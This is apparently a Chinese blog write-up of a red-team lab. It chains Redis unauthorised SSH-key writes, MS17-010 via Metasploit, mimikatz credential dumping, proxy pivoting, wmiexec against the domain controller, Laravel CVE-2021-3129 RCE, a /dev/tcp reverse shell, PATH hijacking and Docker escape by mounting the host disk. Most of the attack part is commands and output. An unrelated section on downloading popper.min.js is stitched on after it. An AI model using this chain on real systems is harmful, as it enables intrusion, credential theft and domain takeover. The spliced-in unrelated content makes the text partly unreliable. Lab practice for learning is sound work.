【红队靶场】利用redis未授权写入,docker提权逃逸,ms17-010,横向拿下域控

红队靶场


🎉B站配套视频:【顺手挂个三连呗】

 https://www.bilibili.com/video/BV1814y1Z774/?share_source=copy_web&vd_source=0e30e09a4adf6f81c3038fa266588eff

🔥系列专栏:红队靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年5月3日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


在这里插入图片描述

环境下载地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

靶场配置

网络配置
在这里插入图片描述
只设置这两张网卡
这个设置稍微有点问题,因为第一,二层是通的
但是不影响

DMZ区域:

Web 1 单网卡:
一张nat就行,因为第二层也是nat

第二层网络区域:

Web 2和PC 1都配置双网卡:
一个连接在VMnet8上连通第二层网络
一个连接在VMnet14上连通第三层网络。

第三层网络区域:

给Windows Server 2012和PC 2只配置了单网卡
连接在VMnet14上连通第三层网络

用户名密码:
域用户账户和密码如下:
    Administrator:Whoami2021
    whoami:Whoami2021
    bunny:Bunny2021
    moretz:Moretz2021

Ubuntu 1:
    web:web2021

Ubuntu 2:
    ubuntu:ubuntu

通达OA账户
admin:admin657260

配置服务:

web1
DMZ区的 Ubuntu 需要启动redis和nginx服务

sudo -i
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F(关闭防火墙)
在这里插入图片描述

web2

第二层网络的 Ubuntu需要启动docker容器(仍然需要root):
sudo -i
service docker start
docker start 8e172820ac78
在这里插入图片描述

pc1
第二层网络的 Windows 7 (PC 1)需要启动通达OA(这个得用administrator启动哦,并且要关闭防火墙):

通达开启路径:
C:\MYOA\bin\AutoConfig.exe

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述配置完以后,按照各层的联通进行一下ping检查
在这里插入图片描述

信息收集

进行前10000个端口的扫描

masscan 192.168.52.10 --ports 0-10000

在这里插入图片描述
对开放的端口进行针对扫描

nmap -v -Pn -T3 -sV -n -sT --open -p 6379,22,80,81 192.168.52.10

在这里插入图片描述

80

502页面,先不管

81

laravel在这里插入图片描述

6379

redis 暴露在公网上
有可能存在未授权
我们尝试利用一下

redis-cli -h 192.168.52.10

在这里插入图片描述开始写公钥,而后ssh登录

常常用于写入内容

  1. 检验能否写入
redis-cli -h 10.129.2.1 🔗
keys * 展示列表
incr 0xdf 测试写入
get 0xdf 查看写入
  1. 写入

ssh-keygen //本机生成一个ssh密钥
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt  //把公钥写到这个文件中
config set slave-read-only no  //修改为读写权限
cat spaced_key.txt | redis-cli -h 10.129.2.1 -x set rong //设置进缓存

config get dir //使用dir命令,看一下目前在哪
config set dir ./.ssh //设置目录是~./ssh
config set dbfilename "authorized_keys" //配置好
save //保存

在这里插入图片描述
写入完了之后而后直接ssh 192.168.52.10即可

在这里插入图片描述
是root用户
在这里插入图片描述

继续探测

利用bash对内网进行一个C段扫描

for i in 192.168.52.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

去掉1,2,255,以及我们本机以及已经拿到权限的ubuntu机器
剩下的就是我们目前可以继续探测到的目标
在这里插入图片描述
再去掉128,129(这两个是本机),10,2,那么我们的下一个目标就是20,30
我现在要想办法对20,30进行探测
我可以使用MSF,进行探测
也可以使用一些工具例如fscan

msf6 > use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.30

MS17-010

Windows 7 Professional SP1 (build:7601) (name:PC1) (domain:WHOAMIANONY)

并且还有域,先试试永恒之蓝

msf6 auxiliary(scanner/smb/smb_version) > use windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.52.30
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload payload/windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

利用成功,成功拿下内网第二层机器
在这里插入图片描述

hashdump得到域管凭据

并且是system权限
接下来迁移进程,然后加载mimikatz,去hashdump一下

meterpreter > migrate 496
[*] Migrating from 1148 to 496...
[*] Migration completed successfully.
meterpreter > load mimikatz
meterpreter > creds_all
Username       Domain       Password
--------       ------       --------
(null)         (null)       (null)
Administrator  WHOAMIANONY  Whoami2021
PC1$           WHOAMIANONY  %Yn!@ZW,eWz5>[!hh;H.

在这里插入图片描述

猜测Administrator 是域管凭证
多注意一下
鉴于这两个凭证都是域内凭证
接下来大概的绘制一下拓扑图,然后估计就可以打DC了

meterpreter > shell

进shell看一下,网卡信息主要看
在这里插入图片描述

发现了另一张网卡
接下来在MSF里找一下DC,然后做一下路由,直接开干

run post/windows/gather/enum_domain

在这里插入图片描述好的,我们可以直接ping到(进shell试一下)
然后做个路由,直接尝试wmiexec一下

MSF做路由
查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 192.168.93.0/24
查看添加的路由表信息
run autoroute -p
background
use auxiliary/server/socks_proxy
设置代理
set SRVPORT 6666
run
gedit /etc/proxychains4.conf

在这里插入图片描述
挂着代理ping一下DC
发现可以i通信

在这里插入图片描述

WMIEXEC

proxychains4 python3 /root/桌面/impacket-0.10.0/build/scripts-3.11/wmiexec.py WHOAMIANONY/administrator:Whoami2021@192.168.93.30

在这里插入图片描述
拿下了域控
我觉得非常简单
所以我去搜了搜别的师傅的writeup
居然还挺复杂?
那我再学习一下

别的思路

web1中寻找敏感信息

让我们回到SSH
鉴于这个web1开启了nginx,之前nmap扫出来的,所以我们
查看nginx配置文件
有几个默认目录,可以自行再百度啥的搜一下,有很多的默认配置文件,都是我们搜罗敏感信息的好帮手

cd /etc/nginx/conf.d/
ls

发现了两个配置文件

在这里插入图片描述看到是192.168.52.20:8000的反向代理
下面这个看到还有一个域名的反代,但是不知道怎么利用这个域名,先不管

在这里插入图片描述先访问看一下81端口,80端口域名的利用点暂时不明显

laravel v8.29.0

在这里插入图片描述
laravel v8.29.0
谷歌搜索存在RCE啊,直接利用
在这里插入图片描述exp如下:

https://github.com/ajisai-babu/CVE-2021-3129-exp

按照里面的readme直接利用即可

在这里插入图片描述
而后蚂蚁连接一下
在这里插入图片描述但是发现shell受限
怀疑是docker
检查一下
在这里插入图片描述

cat /proc/1/cgroup

可以看看这篇文章
https://blog.csdn.net/whatday/article/details/104107928

确实是一个docker
还是低权限docker
先提权

在这里插入图片描述很多命令被禁用了
在这里插入图片描述

环境变量挟持,docker提权

find / -perm -u=s -type f 2>/dev/null

寻找一下高权,尝试进行环境变量挟持
在这里插入图片描述

有一个在其他目录的高权变量
一般来说/usr/bin都不太行
先弹个shell回来给我们用

bash -c 'exec bash -i &>/dev/tcp/192.168.1.9/8888 <&1'

本地nc打开
在这里插入图片描述
以下这一堆的原理是,当你执行shell的可执行文件,会调用没有绝对路径的ps环境变量
./shell一下就可以看到,所以我们吧/bin/bash命令写在/tmp目录下的ps(新建的ps),因为这个目录对所有人可写,而后设定临时环境变量为/tmp目录,所以我们再执行shell,就会在.tmp找ps环境变量,也就是被我们挟持的环境变量

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps //让其可读可写可执行
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

我们现在就可以拿到一个root的docker

在这里插入图片描述
接着写一个python tty的shell

python -c 'import pty; pty.spawn("/bin/bash")'

现在拿到了一个docker的root
要搞清楚他的宿主机是谁
由于之前ssh的.10主机可以看到
所以我认为这是.20的docker
进行逃逸

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限

首先我们现在docker中新建一个/gz目录用来挂在文件:

mkdir /haha

我们可以尝试将 /dev/sda1 挂载到/gz目录里:

mount /dev/sda1 /haha 如果挂载不上就把设备下线,umount /dev/sda1 再重新挂载)
在这里插入图片描述
可以看到挂载成功了
在之前拿到ssh的ubuntu上生成密钥

ssh-keygen -f haha

在这里插入图片描述

echo ‘生成的.pub文件的内容’ > /haha/home/ubuntu/.ssh/authorized_keys
haha 是之前挂载的挂在文件夹

例如:

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCio4KHEm8/QfaERVvh5IOqqxkIZHPU1a3wVOnewYP1OjWsdOr9IpKHtCpRFdU3PDQPcGKz27WZoYuCN4JNH0NDLtBosdhfJAze/1el9VNVV0/9SfAJBwvBE80K33yW5hmzZsb5e2i0xYkrYJ7L5zqpHo6bIh6ywGahMJHV2/5jkvsDWS0qYlCX8MFVecIBZMMV5MCiYZrclcx9UChQyW2IFUfNzVjTuAgtI+fnrhRcFflvyco91eORQEQIJ8elH1tNKlBe29LE8faPpZ7WC15khQQc9YaiAofwSQujbW43wYvXwhOeUUa2zItm1FfmBgmsysnan9LGGbImLiTAjQp/ root@ubuntu' > /haha/home/ubuntu/.ssh/authorized_keys

在这里插入图片描述

给私钥赋权
chmod 600 haha
在这里插入图片描述而后SSH
在这里插入图片描述我们就可以登录到web2机器,尽管还没有提权,但是已经可以和内网通信了
然后重复上文ms17-010的步骤就可以

### 下载 Popper.min.js 文件的方法 对于希望获取 `popper.min.js` 的开发者来说,可以通过多种方式来实现这一目标。通常情况下,推荐通过官方渠道或可靠的分发网络 (CDN) 来获得最新的稳定版文件。 #### 使用 CDN 获取 Popper.min.js 最简单的方式之一是从流行的 CDN 中加载所需的 JavaScript 库。这不仅简化了集成过程,还可能高性能,因为许多用户已经缓存了来自这些服务供商的内容。例如: ```html <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2/dist/umd/popper.min.js"></script> ``` 这种方式不需要手动下载文件到本地服务器;只需将上述 `<script>` 标签添加至 HTML 文档中的适当位置即可立即使用 Popper 功能[^1]。 #### 从 npm 或 yarn 安装 如果项目采用模块化构建工具链,则可以直接利用包管理器如 npm 或 Yarn 进行安装。命令如下所示: ```bash npm install @popperjs/core # 或者 yarn add @popperjs/core ``` 之后可以根据具体需求引入特定功能模块,而不是整个库,从而减少打包后的体积并优化加载速度[^2]。 #### 访问 GitHub 发布页面下载压缩包 另一种方法是访问 Popper.js 的 [GitHub Releases](https://github.com/popperjs/popper-core/releases) 页面,在这里可以选择不同版本的 tarball 或 zip 归档进行下载解压操作。这种方法适合那些偏好离线工作环境或是想要定制编译选项的人群[^3]。 #### 手动克隆仓库 最后一种较为少见但也可行的办法便是直接克隆完整的 Git 存储库副本。这样可以获得开发分支以及历史记录等更多信息,适用于贡献代码或者深入学习内部机制的情况。 ```bash git clone https://github.com/popperjs/popper-core.git cd popper-core ``` 完成以上任一途径后便能成功取得所需版本的 Popper.min.js 文件,并将其应用于个人项目之中[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值